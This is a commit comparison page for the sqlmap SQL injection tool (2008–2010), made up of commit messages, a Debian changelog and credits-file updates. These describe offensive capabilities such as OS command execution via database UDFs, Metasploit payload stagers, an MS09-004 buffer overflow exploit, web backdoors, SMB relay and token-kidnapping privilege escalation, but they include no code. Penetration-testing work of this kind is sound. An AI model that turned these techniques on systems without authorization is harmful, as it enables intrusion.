Compare commits

..

158 Commits

Author SHA1 Message Date
Bernardo Damele
ce022a3b6e sqlmap 0.8-rc3: Merge from Miroslav Stampar's branch fixing a bug when verbosity > 2, another major bug with urlencoding/urldecoding of POST data and Cookies, adding --drop-set-cookie option, implementing support to automatically decode gzip and deflate HTTP responses, support for Google dork page result (--gpage) and a minor code cleanup. 2010-01-02 02:02:12 +00:00
Bernardo Damele
d55175a340 Fixed resume functionality on --read-file when using MySQL's LOAD_FILE() via blind SQL injection. 2010-01-02 01:35:13 +00:00
Bernardo Damele
9c620da0a5 Minor fix 2009-12-31 12:34:18 +00:00
Bernardo Damele
c1c14dabd9 Minor bug fix 2009-12-21 11:21:18 +00:00
Bernardo Damele
e6c4154cac Fixed minor bug in --reg-del 2009-12-21 11:04:54 +00:00
Bernardo Damele
e4e081cdc6 sqlmap 0.8-rc2: minor enhancement based on msfencode 3.3.3-dev -t exe-small so that also PostgreSQL supports again the out-of-band via Metasploit payload stager optionally to shellcode execution in-memory via sys_bineval() UDF. Speed up OOB connect back. Cleanup target file system after --os-pwn too. Minor bug fix to correctly forge file system paths with os.path.join() all around. Minor code refactoring and user's manual update. 2009-12-17 22:04:01 +00:00
Bernardo Damele
a605980d66 Minor adjustments to configuration file 2009-12-15 14:16:25 +00:00
Bernardo Damele
b363f1c5ab Added support for NTLM authentication 2009-12-02 22:54:39 +00:00
Bernardo Damele
e28b98a366 Minor layout adjustments 2009-12-02 22:52:17 +00:00
Bernardo Damele
c332c72808 Minor update to user's manual to reflect new Metasploit release 2009-11-17 23:36:18 +00:00
Bernardo Damele
6e36a6f8ed Major enhancement to MSSQL MS09-004 exploit 2009-11-17 23:33:20 +00:00
Bernardo Damele
4779a5fe0f Minor layout adjustment 2009-11-16 16:39:31 +00:00
Bernardo Damele
1bf6a7cadc Adapted sqlmap to latest changes in Metasploit trunk 2009-11-03 16:49:19 +00:00
Bernardo Damele
aa14bea051 Test again 2009-11-01 12:30:30 +00:00
Bernardo Damele
e518ae82e4 Testing post-commit hook on redmine 2009-11-01 12:28:33 +00:00
Bernardo Damele
bfd8128693 Updated name 2009-11-01 12:10:29 +00:00
Bernardo Damele
de68a499f5 Typo fix 2009-11-01 12:08:46 +00:00
Bernardo Damele
bb123b2769 Updated changelog 2009-10-23 10:20:47 +00:00
Bernardo Damele
f1a7d095aa Minor patch to make the PHP web backdoor work also on Windows 2009-10-22 16:25:19 +00:00
Bernardo Damele
89c43893d4 Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes:
* Major enhancement to the Microsoft SQL Server stored procedure
heap-based buffer overflow exploit (--os-bof) to automatically bypass
DEP memory protection.
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
option instead of uploading the standalone payload stager executable.
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
read/add/delete Windows registry keys.
* Added options for MySQL and PostgreSQL to inject custom user-defined
functions.
* Added support for --first and --last so the user now has even more
granularity in what to enumerate in the query output.
* Minor enhancement to save the session by default in
'output/hostname/session' file if -s option is not specified.
* Minor improvement to automatically remove sqlmap created temporary
files from the DBMS underlying file system.
* Minor bugs fixed.
* Major code refactoring.
2009-09-25 23:03:45 +00:00
Bernardo Damele
458d59416c Minor bug fix in MSSQL version fingerprint 2009-08-11 09:16:20 +00:00
Bernardo Damele
14578a7a4d Updated THANKS file 2009-07-30 12:02:34 +00:00
Bernardo Damele
17289c5ff2 Minor bug fix 2009-07-30 12:01:23 +00:00
Bernardo Damele
e608a5ca55 Updated THANKS file 2009-07-29 10:44:56 +00:00
Bernardo Damele
19c6804ded Fixed two minor bugs with PostgreSQL reported by Sven Klemm, thanks! 2009-07-29 10:44:24 +00:00
Bernardo Damele
2c98c11e80 user's manual PDF recreated 2009-07-25 16:46:30 +00:00
Bernardo Damele
45e3ce798f Updated documentation with all new features introduced since sqlmap 0.7-rc1 2009-07-25 14:31:44 +00:00
Bernardo Damele
d905e5ef9f Minor bug fix to --os-cmd/--os-shell for Microsoft SQL Server 2009-07-25 11:45:23 +00:00
Bernardo Damele
576cc97742 Minor update to the user's manual, almost there to release 0.7 stable! 2009-07-25 00:25:59 +00:00
Bernardo Damele
b2b2ec8a26 Preparing to release sqlmap 0.7 stable 2009-07-24 23:20:57 +00:00
Bernardo Damele
3d4bfb3263 More appropriate warning message, got rid of a TODO 2009-07-24 23:20:22 +00:00
Bernardo Damele
b4fd71e8b9 Minor adjustment to reflect Metasploit r6849 (http://trac.metasploit.com/changeset/6849) and minor code refactoring. 2009-07-20 14:36:33 +00:00
Bernardo Damele
8096a37940 Major bug fix in --read-file option and minor code refactoring. 2009-07-09 11:50:15 +00:00
Bernardo Damele
cb3d2bac16 Minor improvement so that sqlmap tests also all parameters with no value (ig. par=). 2009-07-09 11:25:35 +00:00
Bernardo Damele
516fdb9356 Avoid to upload the web backdoor to unexisting empty-name directory 2009-07-09 11:11:25 +00:00
Bernardo Damele
24a3a23159 Minor bug fix to --dbms, updated user's manual 2009-07-09 11:05:24 +00:00
Bernardo Damele
4b622ed860 Minor bug fix.
Adapted Metasploit wrapping functions to work with latest msf3 development version too.
2009-07-06 14:40:33 +00:00
Bernardo Damele
0fc4587f02 Added support for reflective meterpreter by default when the target OS
is Windows and minor layout fix
2009-07-03 17:59:20 +00:00
Bernardo Damele
ba2e009fd9 Now it's fixed 2009-06-29 10:15:10 +00:00
Bernardo Damele
bc31bd1dd9 Minor bug fix 2009-06-29 10:13:39 +00:00
Bernardo Damele
fd7de4bbb8 Updated THANKS file 2009-06-24 13:57:50 +00:00
Bernardo Damele
3b9303186e Fixed minor bug with --eta 2009-06-24 13:44:14 +00:00
Bernardo Damele
e5a01d500e Minor bug fix in --update option, updated also Microsoft XML versions file 2009-06-16 15:12:02 +00:00
Bernardo Damele
32067cb676 Added ASPX shell and stager 2009-06-15 14:54:36 +00:00
Bernardo Damele
03a6739fbf Minor layout adjustments 2009-06-11 15:34:31 +00:00
Bernardo Damele
150abc0f1e sqlmap 0.7-rc3: Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or --os-bof is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. Correctly handle fcntl to be imported only on systems different from Windows. Minor code refactoring. 2009-06-11 15:01:48 +00:00
Bernardo Damele
3bca0d4b28 Minor improvement so that user's options can also be passed directly as a dictionary/advancedDict rather than only as an optparse instance. 2009-06-05 10:15:55 +00:00
Bernardo Damele
5ac2b0658c Fixed regular expression to parse burp log file hosts' scheme/port 2009-06-04 14:42:53 +00:00
Bernardo Damele
cfd8a83655 Minor adjustment to get also the port when parsing burp logs 2009-06-04 14:36:31 +00:00
Bernardo Damele
966f34f381 Minor parsing syntax adjustment due to sligh differences between Burp 1.2 lite and professional editions 2009-06-03 15:26:18 +00:00
Bernardo Damele
c7b72abc0e Minor bug fix in parsing Burp (WebScarab too?) log to correctly parse httpS urls 2009-06-03 15:04:40 +00:00
Bernardo Damele
02f6425db8 Work-around to avoid a TypeError traceback when reading a file content on MySQL/MSSQL 2009-06-02 14:24:48 +00:00
Bernardo Damele
93ee4a01e5 HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+ 2009-05-20 14:27:25 +00:00
Bernardo Damele
81d1a767ac Minor bug fix in output manager (dumper) object 2009-05-20 13:56:23 +00:00
Bernardo Damele
8e7282f7c7 Major bug fix to properly pass HTTPS request to HTTP proxy when its provided. It works with both Python 2.4 and Python 2.5 now. It still crashes at httplib level with Python 2.6. 2009-05-20 13:51:25 +00:00
Bernardo Damele
440a52b84d Major bug fix to sql-query/sql-shell functionalities 2009-05-20 10:19:19 +00:00
Bernardo Damele
37d3b3adda Updated THANKS 2009-05-20 09:58:22 +00:00
Bernardo Damele
13de8366d0 Major silent bug fix to multi-threading functionality. Thanks Nico Leidecker for reporting! 2009-05-20 09:34:13 +00:00
Bernardo Damele
f7ee4d578e Updated THANKS file 2009-05-19 15:56:30 +00:00
Bernardo Damele
ef3846e0de Minor fix in Host header value by Oliver Gruskovnjak 2009-05-19 14:40:04 +00:00
Bernardo Damele
45dff4a00a Added new function to search a file within the PATH environment variable paths:
it will be used when sqlmap will be packaged as DEB and RPM
2009-05-12 20:24:47 +00:00
Bernardo Damele
b463205544 Minor fixes for MacOSX 2009-05-12 20:24:00 +00:00
Bernardo Damele
06cc2a6d70 Minor bug fixes and code refactoring 2009-05-11 15:37:48 +00:00
Bernardo Damele
a727427299 Minor fix for Python <= 2.5.2 (os.path.normpath function) 2009-05-06 13:37:51 +00:00
Bernardo Damele
c5d20b8a86 Initial support for ASP web backdoor functionality 2009-05-06 12:14:38 +00:00
Bernardo Damele
f3e8d6db70 Fixed MySQL comment injection 2009-05-01 16:29:45 +00:00
Bernardo Damele
ccedadd780 Finished Mac OS X 2009-04-30 21:42:54 +00:00
Bernardo Damele
e8c115500d Now it works also on Mac OS X 2009-04-30 10:46:50 +00:00
Bernardo Damele
722ca8bf2f Minor "fix" 2009-04-29 19:45:12 +00:00
Bernardo Damele
57b8bb4c8e Minor syntax adjustment for web backdoor functionality 2009-04-28 21:51:22 +00:00
Bernardo Damele
58f3eee390 Updated Microsoft SQL Server XML signatures file and minor bug fix in connection library 2009-04-28 11:11:35 +00:00
Bernardo Damele
1d7de719b9 Almost done with web backdoor functionality 2009-04-28 11:05:07 +00:00
Bernardo Damele
16b4530bbe Minor bug fixes to --os-shell (altought web backdoor functionality still to be reviewed).
Minor common library code refactoring.
Code cleanup.
Set back the default User-Agent to sqlmap for comparison algorithm reasons.
Updated THANKS.
2009-04-27 23:05:11 +00:00
Bernardo Damele
5121a4dcba Send IE7.0 as default User-Agent 2009-04-24 20:13:21 +00:00
Bernardo Damele
406d5df195 Minor layout adjustments 2009-04-24 20:12:52 +00:00
Bernardo Damele
546a6c32e3 Avoid deprecation warning on sha and md5 libraries on Python >= 2.6 2009-04-24 20:10:30 +00:00
Bernardo Damele
6f4035938b Let the user choose also the local address in reverse OOB connection 2009-04-24 10:27:52 +00:00
Bernardo Damele
06e8546177 Finally fixed MSSQL 2000 fingerprint 2009-04-24 10:26:01 +00:00
Bernardo Damele
eeb34eb028 Again, minor fix to MSSQL 2000 fingerprint 2009-04-23 21:13:34 +00:00
Bernardo Damele
4ce74764b7 More verbose when reporting failure to create shellcode/payload stager (via Metasploit) 2009-04-23 20:39:32 +00:00
Bernardo Damele
aec2419410 Fixed character escaping in SQL shell/query functionalities. 2009-04-23 15:37:12 +00:00
Bernardo Damele
1af6898618 Fixed POST parsing when -l option is provided (burp/webscarab log file) 2009-04-23 15:04:28 +00:00
Bernardo Damele
69259c5984 Updated THANKS 2009-04-23 08:42:57 +00:00
Bernardo Damele
8e88b32274 Minor fix in MSSQL 2000 fingerprint 2009-04-23 08:36:39 +00:00
Bernardo Damele
aefa7ef988 Avoid libmagic traceback on Windows.
WARNING: this release is a candidate, it only works on Linux/Unices for the moment!
2009-04-22 12:44:16 +00:00
Bernardo Damele
8c0ac767f4 Updated to sqlmap 0.7 release candidate 1 2009-04-22 11:48:07 +00:00
Bernardo Damele
b997df740a Minor bug fix 2009-02-25 20:11:14 +00:00
Bernardo Damele
0c1a6b3edf Minor typo fix 2009-02-19 00:38:54 +00:00
Bernardo Damele
2efee058ea Major enhancement in comparison algorithm 2009-02-12 00:17:44 +00:00
Bernardo Damele
954417072b Updated Microsoft SQL Server XML versions file 2009-02-10 23:00:53 +00:00
Bernardo Damele
ba00a17205 Minor layout adjustment 2009-02-09 10:58:44 +00:00
Bernardo Damele
2355885712 Minor adjustment 2009-02-09 10:29:07 +00:00
Bernardo Damele
207e96e2b2 Major bug fix in the comparison algorithm to correctly handle also the
case that the url is stable and the False response changes the page
content very little.
2009-02-09 10:28:03 +00:00
Bernardo Damele
c405fb51ab PDF regenerated 2009-02-04 16:32:06 +00:00
Bernardo Damele
b12d955274 Updated packaging scripts, site and finalized the documentation to release version 0.6.4 2009-02-03 15:38:40 +00:00
Bernardo Damele
770e000cb4 Fixed another bug on Microsoft SQL Server custom "limited" query reported by Konrads Smelkovs 2009-02-02 23:44:19 +00:00
Bernardo Damele
9ab174a444 Almost ready with the user's manual for 0.6.4 release 2009-02-01 13:44:44 +00:00
Bernardo Damele
77d9d22ceb Minor update to the user's manual 2009-02-01 00:20:08 +00:00
Bernardo Damele
dded57f1cd Minor bug fix to correctly unpack user's custom queries on Microsoft SQL Server 2009-01-30 23:58:48 +00:00
Bernardo Damele
ad03684788 Added another PostgreSQL banner signature for Windows (it's specific
for PostgreSQL compiled by hand with MinGW/GCC or using the binary MSI
file of PostgreSQL version 8.2.x. PostgreSQL 8.3.x is compiled by
default using Visual C++)
2009-01-30 00:35:05 +00:00
Bernardo Damele
6054090191 sqlmap 0.6-rc5: major bug fix to make --sql-shell and --sql-query work properly also with mixed case statements (i.e oRDeR bY). Thanks Konrads Smelkovs to notifying. 2009-01-28 14:53:11 +00:00
Bernardo Damele
a8d57bb031 Avoid DeprecationWarning with Python 2.6+ 2009-01-22 23:53:01 +00:00
Bernardo Damele
193482a62b Updated user's manual 2009-01-22 23:44:44 +00:00
Bernardo Damele
981c7a4428 Updated Microsoft SQL Server XML signature db 2009-01-22 22:30:45 +00:00
Bernardo Damele
793c323b2a Major bug fixes 2009-01-22 22:28:27 +00:00
Bernardo Damele
d54a51a328 Updated the HTML manual for the MySQL UDF and consequently other files. Thanks Roland! 2009-01-22 21:28:56 +00:00
Bernardo Damele
69204afe1f Updated copyright 2009-01-22 00:41:57 +00:00
Bernardo Damele
9631dc115e Added PostgreSQL UDF to execute commands on the underlying system:
* sys_eval() to return the standard output
* sys_exec() to return the exit status

Inspired by lib_mysqludf_sys 0.0.3 (https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/)
2009-01-22 00:35:17 +00:00
Bernardo Damele
ae0f1985f3 Updated also the patch file 2009-01-21 20:54:14 +00:00
Bernardo Damele
deeccf9b5e Updated tar.gz package 2009-01-21 00:53:10 +00:00
Bernardo Damele
1c5925ea2b Minor adjustments 2009-01-21 00:52:23 +00:00
Bernardo Damele
7adbf5892d Updated user's manual 2009-01-19 23:45:54 +00:00
Bernardo Damele
c25b49e80e Major bugfix to avoid "IFNULL and CAST" on CASE 2009-01-19 21:27:51 +00:00
Bernardo Damele
96db179ffe Minor adjustment 2009-01-19 21:26:02 +00:00
Bernardo Damele
f91843540f Major bug fix when the CU alias (current user) is given (with -U option)
together with --privileges or --password to work properly also on
MySQL >= 5.0.
2009-01-19 21:25:37 +00:00
Bernardo Damele
8f973ce574 Minor layout adjustments 2009-01-18 22:36:48 +00:00
Bernardo Damele
161590e121 Added MySQL UDF to execute commands on the underlying system:
* sys_eval() to return the standard output
* sys_exec() to return the exit status

It's a patched version of http://mysqludf.org/lib_mysqludf_sys/index.php
2009-01-17 00:13:16 +00:00
Bernardo Damele
6690b4c00a Added svn executable property 2009-01-17 00:05:47 +00:00
Bernardo Damele
bc3b4c6936 Minor layout adjustments in the user's manual 2009-01-13 23:16:34 +00:00
Bernardo Damele
fd7cb9101c Major bug fix to forge SQL injection payload on Oracle 2009-01-13 23:15:57 +00:00
Bernardo Damele
bc448211c5 Minor layout adjustment 2009-01-13 23:15:23 +00:00
Bernardo Damele
73e713c5ba Minor adjustments 2009-01-12 23:59:07 +00:00
Bernardo Damele
26cb082fc3 Added a README for dbgtool 2009-01-12 23:17:15 +00:00
Bernardo Damele
de393628d0 Added dbgtool to extras, a port in python of toolcrypt.org dbgtool. Inspired by sqlninja perl script makescr.pl. 2009-01-12 23:02:02 +00:00
Bernardo Damele
5560f0b68a Updated the copyright 2009-01-12 21:35:38 +00:00
Bernardo Damele
92645dd264 Minor adjustment 2009-01-10 14:51:12 +00:00
Bernardo Damele
9b0f11f879 Added an ASP uploader 2009-01-10 14:40:04 +00:00
Bernardo Damele
e10ab5aa0e Major bug fixes 2009-01-10 14:39:27 +00:00
Bernardo Damele
9c125a2b57 Minor improvement to use Python ConfigParser library when --save if specified.
Minor update to the user's manual
2009-01-03 22:59:22 +00:00
Bernardo Damele
6ff8feb5cf Updated documentation 2009-01-03 01:25:43 +00:00
Bernardo Damele
d0604ef513 Major bug fix to correctly handle custom SQL "limited" queries on Oracle 2009-01-03 01:19:04 +00:00
Bernardo Damele
2d87a3349f Fixed custom MSSQL "limited" query support also for Partial UNION query technique 2009-01-03 00:27:04 +00:00
Bernardo Damele
9c42a883be Major bug fix to make it work properly with MSSQL custom limited (SELECT
TOP ...) queries with both inferential blind and Full UNION query
injection
2009-01-02 23:26:45 +00:00
Bernardo Damele
2cc3bb2f6a Minor improvement to PostgreSQL signatures file to identify Windows.
Minor improvement to Microsoft SQL Server "limit" queries.
2009-01-02 23:23:55 +00:00
Bernardo Damele
9e0d890171 Fixed MySQL 5.1 extensive fingerprint 2009-01-02 23:21:31 +00:00
Bernardo Damele
c1010c20d8 Minor adjustments 2008-12-30 21:24:01 +00:00
Bernardo Damele
a4d62af2ea Minor layout adjustments to --union-tech 2008-12-29 18:48:23 +00:00
Bernardo Damele
9340bf59fb Updated Microsoft SQL Server signature XML file.
Minor layout adjustments to --update output messages/diff
2008-12-29 18:46:43 +00:00
Bernardo Damele
0e9873fd4f Preparing documentation for 0.6.4 2008-12-29 18:44:20 +00:00
Bernardo Damele
c83593c044 Limited custom query now works also on Oracle in inferential blind SQL
injection technique
2008-12-23 23:34:50 +00:00
Bernardo Damele
24ddbdc89d Minor layout adjustment 2008-12-22 23:34:22 +00:00
Bernardo Damele
b0ad102efb Better fingerprint technique for Microsoft SQL Server 2008-12-22 23:32:43 +00:00
Bernardo Damele
79c8d63b88 Major speed increase in DBMS basic fingerprint 2008-12-22 23:26:44 +00:00
Bernardo Damele
64bb57d786 Minor bug fix to make the Partial UNION query SQL injection technique
work properly also on Oracle and Microsoft SQL Server.
2008-12-22 22:48:44 +00:00
Bernardo Damele
1f7810e46a Major bug fix to make partial UNION query sql injection work properly
also on Microsoft SQL Server
2008-12-22 19:36:01 +00:00
Bernardo Damele
064029cb2d Addd one more MS Access signature 2008-12-22 19:35:13 +00:00
Bernardo Damele
04c187c66a Working on a bug (fix for Partial UNION query SQL injection technique
both Oracle and Microsoft SQL Server).
2008-12-22 00:51:09 +00:00
Bernardo Damele
2f406b3e56 Minor adjustments 2008-12-22 00:04:28 +00:00
Bernardo Damele
c05f600e90 Minor fix 2008-12-21 21:40:09 +00:00
Bernardo Damele
4ae464c80d Minor enhancement to support an option (--union-tech) to specify the
technique to use to detect the number of columns used in the web
application SELECT statement: NULL bruteforcing (default) or ORDER BY
clause.
2008-12-21 21:39:53 +00:00
Bernardo Damele
f92b76a8b0 Minor bug fix 2008-12-21 16:39:40 +00:00
Bernardo Damele
374b9ba878 Updated documentation based upon recent developments 2008-12-21 16:35:45 +00:00
Bernardo Damele
35708a0b97 Minor adjustment to UNION query SQL injection detection function.
Updated command line help message based upon recent developments.
Updated copyright note of lib/contrib/multipartpost.py.
2008-12-21 16:35:03 +00:00
Bernardo Damele
996a872e51 We are already on sqlmap 0.6.4 release candidate 1.. 2008-12-20 13:23:26 +00:00
Bernardo Damele
c18efe5084 Minor adjustments 2008-12-20 13:21:47 +00:00
Bernardo Damele
8d06975142 Major enhancement to make the comparison algorithm work properly also
on url not stables automatically by using the difflib SequenceMatcher
object: this changed a lot into the structure of the code, has to be
extensively beta-tested!
Please, do report bugs on sqlmap-users mailing list if you scout them.
Cheers,
Bernardo
2008-12-20 01:54:08 +00:00
Bernardo Damele
7e8ac16245 Added preventive check for stacked queries support when executing DDL,
DML & co. statements in SQL query and SQL shell. Minor improvements on    
this new feature.
Increased default connection timeout to 30 seconds (needed for vmware
machine not correctly synched).
2008-12-19 20:48:33 +00:00
Bernardo Damele
ad228e6947 Ahead with the improvements to the comparison algorithm.
Added support internally to forge CASE statements, used only by
--is-dba query at the moment.
Allow DDL, DML (INSERT, UPDATE, etc.) from user in SQL query and
SQL shell.
Minor code adjustments.
2008-12-19 20:09:46 +00:00
139 changed files with 14956 additions and 2971 deletions

View File

@@ -1,7 +1,3 @@
Bernardo Damele A. G. (inquis) - project leader, core developer Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
<bernardo.damele@gmail.com> <bernardo.damele@gmail.com>
PGP Key ID: 0x05F5A30F PGP Key ID: 0x05F5A30F
Daniele Bellucci (belch) - project founder, initial developer
<daniele.bellucci@gmail.com>
PGP Key ID: 0x9A0E8190

View File

@@ -1,13 +1,112 @@
sqlmap (0.8rc1-1) stable; urgency=low
* Major enhancement to the Microsoft SQL Server stored procedure
heap-based buffer overflow exploit (--os-bof) to automatically bypass
DEP memory protection.
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
option instead of uploading the standalone payload stager executable.
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
read/add/delete Windows registry keys.
* Added options for MySQL and PostgreSQL to inject custom user-defined
functions.
* Added support for --first and --last so the user now has even more
granularity in what to enumerate in the query output.
* Minor enhancement to save the session by default in
'output/hostname/session' file if -s option is not specified.
* Minor improvement to automatically remove sqlmap created temporary
files from the DBMS underlying file system.
* Minor bugs fixed.
* Major code refactoring.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 21 Sep 2009 15:00:00 +0000
sqlmap (0.7-1) stable; urgency=low
* Adapted Metasploit wrapping functions to work with latest 3.3
development version too.
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
--os-bof is selected) when running under Windows because msfconsole
and msfcli are not supported on the native Windows Ruby interpreter.
This make sqlmap 0.7 to work again on Windows too.
* Minor improvement so that sqlmap tests also all parameters with no
value (eg. par=).
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
2.6+.
* Major bug fix to sql-query/sql-shell features.
* Major bug fix in --read-file option.
* Major silent bug fix to multi-threading functionality.
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked
queries are not supported and --os-shell is provided.
* Fixed MySQL 'comment injection' version fingerprint.
* Fixed basic Microsoft SQL Server 2000 fingerprint.
* Many minor bug fixes and code refactoring.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 25 Jul 2009 10:00:00 +0000
sqlmap (0.7rc1-1) stable; urgency=low
* Added support to execute arbitrary commands on the database server
underlying operating system either returning the standard output or not
via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored
procedure on Microsoft SQL Server;
* Added support for out-of-band connection between the attacker box and
the database server underlying operating system via stand-alone payload
stager created by Metasploit and supporting Meterpreter, shell and VNC
payloads for both Windows and Linux;
* Added support for out-of-band connection via Microsoft SQL Server 2000
and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer
overflow (MS09-004) exploitation with multi-stage Metasploit payload
support;
* Added support for out-of-band connection via SMB reflection attack with
UNC path request from the database server to the attacker box by using
the Metasploit smb_relay exploit;
* Added support to read and write (upload) both text and binary files on
the database server underlying file system for MySQL, PostgreSQL and
Microsoft SQL Server;
* Added database process' user privilege escalation via Windows Access
Tokens kidnapping on MySQL and Microsoft SQL Server via either
Meterpreter's incognito extension or Churrasco stand-alone executable;
* Speed up the inference algorithm by providing the minimum required
charset for the query output;
* Major bug fix in the comparison algorithm to correctly handle also the
case that the url is stable and the False response changes the page
content very little;
* Many minor bug fixes, minor enhancements and layout adjustments.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Wed, 22 Apr 2009 10:30:00 +0000
sqlmap (0.6.4-1) stable; urgency=low sqlmap (0.6.4-1) stable; urgency=low
* Major enhancement to make the comparison algorithm work properly also
on url not stables automatically by using the difflib Sequence Matcher
object;
* Major enhancement to support SQL data definition statements, SQL data
manipulation statements, etc from user in SQL query and SQL shell if
stacked queries are supported by the web application technology;
* Major speed increase in DBMS basic fingerprint;
* Minor enhancement to support an option (--is-dba) to show if the * Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator; current user is a database management system administrator;
* Minor enhancement to support an option (--union-tech) to specify the
technique to use to detect the number of columns used in the web
application SELECT statement: NULL bruteforcing (default) or ORDER BY
clause bruteforcing;
* Added internal support to forge CASE statements, used only by --is-dba
query at the moment;
* Minor layout adjustment to the --update output;
* Increased default timeout to 30 seconds;
* Major bug fix to correctly handle custom SQL "limited" queries on
Microsoft SQL Server and Oracle;
* Major bug fix to avoid tracebacks when multiple targets are specified * Major bug fix to avoid tracebacks when multiple targets are specified
and one of them is not reachable; and one of them is not reachable;
* Minor bug fix to make the Partial UNION query SQL injection technique
work properly also on Oracle and Microsoft SQL Server;
* Minor bug fix to make the --postfix work even if --prefix is not * Minor bug fix to make the --postfix work even if --prefix is not
provided; provided;
* Updated documentation.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Day, DD MMM 2009 10:00:00 +0000 -- Bernardo Damele A. G. <bernardo.damele@gmail.com> Tue, 3 Feb 2009 23:30:00 +0000
sqlmap (0.6.3-1) stable; urgency=low sqlmap (0.6.3-1) stable; urgency=low

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -5,23 +5,59 @@ Chip Andrews <chip@sqlsecurity.com>
at SQLSecurity.com and permission to implement the update feature at SQLSecurity.com and permission to implement the update feature
taking data from his site taking data from his site
Simon Baker <simonb@sec-1.com>
for reporting some bugs
Daniele Bellucci <daniele.bellucci@gmail.com>
for starting sqlmap project and developing it between July and August
2006
Jack Butler <fattredd@hotmail.com> Jack Butler <fattredd@hotmail.com>
for providing me with the sqlmap site favicon for providing me with the sqlmap site favicon
Roberto Castrogiovanni <castrogiovanni.roberto@gmail.com>
for reporting a minor bug
Cesar Cerrudo <cesar@argeniss.com>
for his Windows access token kidnapping tool Churrasco included in
sqlmap tree as a contrib library and used to run the stand-alone
payload stager on the target Windows machine as SYSTEM user if the
user wants to perform a privilege escalation attack,
http://www.argeniss.com/research/TokenKidnapping.pdf
Karl Chen <quarl@cs.berkeley.edu> Karl Chen <quarl@cs.berkeley.edu>
for providing with the multithreading patch for the inference for providing with the multithreading patch for the inference
algorithm algorithm
Pierre Chifflier <pollux@debian.org> Y P Chien <ypchien@cox.net>
for uploading the sqlmap 0.6.2 Debian package to the official Debian for reporting a minor bug
project repository
Pierre Chifflier <pollux@debian.org> and Mark Hymers <ftpmaster@debian.org>
for uploading and accepting the sqlmap Debian package to the official
Debian project repository
Ulises U. Cune <ulises2k@gmail.com>
for reporting a bug
Alessandro Curio <alessandro.curio@gmail.com>
for reporting a minor bug
Stefano Di Paola <stefano.dipaola@wisec.it> Stefano Di Paola <stefano.dipaola@wisec.it>
for suggesting good features for suggesting good features
Dan Guido <dguido@gmail.com>
for promoting sqlmap in the context of the Penetration Testing and
Vulnerability Analysis class at the Polytechnic University of New York,
http://isisblogs.poly.edu/courses/pentest/
Adam Faheem <faheem.adam@is.co.za> Adam Faheem <faheem.adam@is.co.za>
for reporting a few bugs for reporting a few bugs
James Fisher <www@sittinglittleduck.com>
for providing me with two very good feature requests
for his great tool too brute force directories and files names on
web/application servers, Dir Buster, http://tinyurl.com/dirbuster
Jim Forster <jimforster@goldenwest.com> Jim Forster <jimforster@goldenwest.com>
for reporting a bug for reporting a bug
@@ -33,11 +69,18 @@ Giorgio Fedon <giorgio.fedon@gmail.com>
for suggesting a speed improvement for bisection algorithm for suggesting a speed improvement for bisection algorithm
for reporting a bug when running against Microsoft SQL Server 2005 for reporting a bug when running against Microsoft SQL Server 2005
Alan Franzoni <alan.franzoni@gmail.com>
for helping me out with Python subprocess library
Ivan Giacomelli <truemilk@insiberia.net> Ivan Giacomelli <truemilk@insiberia.net>
for reporting a bug for reporting a bug
for suggesting a minor enhancement for suggesting a minor enhancement
for reviewing the documentation for reviewing the documentation
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
for reporting a bug
for providing me with a minor patch
Davide Guerri <d.guerri@caspur.it> Davide Guerri <d.guerri@caspur.it>
for suggesting an enhancement for suggesting an enhancement
@@ -52,14 +95,48 @@ Will Holcomb <wholcomb@gmail.com>
for his MultipartPostHandler class to handle multipart POST forms and for his MultipartPostHandler class to handle multipart POST forms and
permission to include it within sqlmap source code permission to include it within sqlmap source code
Daniel Hückmann <sanitybit@gmail.com>
for reporting a minor bug
Mounir Idrassi <mounir.idrassi@idrix.net>
for his compiled version of UPX for Mac OS X
Dirk Jagdmann <doj@cubic.org>
for reporting a typo in the documentation
Luke Jahnke <luke.jahnke@gmail.com> Luke Jahnke <luke.jahnke@gmail.com>
for reporting a bug when running against MySQL < 5.0 for reporting a bug when running against MySQL < 5.0
Sven Klemm <sven@c3d2.de>
for reporting two minor bugs with PostgreSQL
Anant Kochhar <anant.kochhar@secureyes.net> Anant Kochhar <anant.kochhar@secureyes.net>
for providing me with feedback on the user's manual for providing me with feedback on the user's manual
Alexander Kornbrust <ak@red-database-security.com>
for reporting a couple of bugs
Nicolas Krassas <krasn@ans.gr>
for reporting a bug
Guido Landi <lists@keamera.org>
for reporting a couple of bugs
for the great technical discussions
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
(MS09-004) exploit development
for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
on September 21, 2009
Lee Lawson <Lee.Lawson@dns.co.uk>
for reporting a minor bug
Nico Leidecker <nico@leidecker.info> Nico Leidecker <nico@leidecker.info>
for providing me with feedback on a few features for providing me with feedback on a few features
for reporting a couple of bugs
Gabriel Lima <pato@bugnet.com.br>
for reporting a couple of bugs
Pavol Luptak <pavol.luptak@nethemba.com> Pavol Luptak <pavol.luptak@nethemba.com>
for reporting a bug when injecting on a POST data parameter for reporting a bug when injecting on a POST data parameter
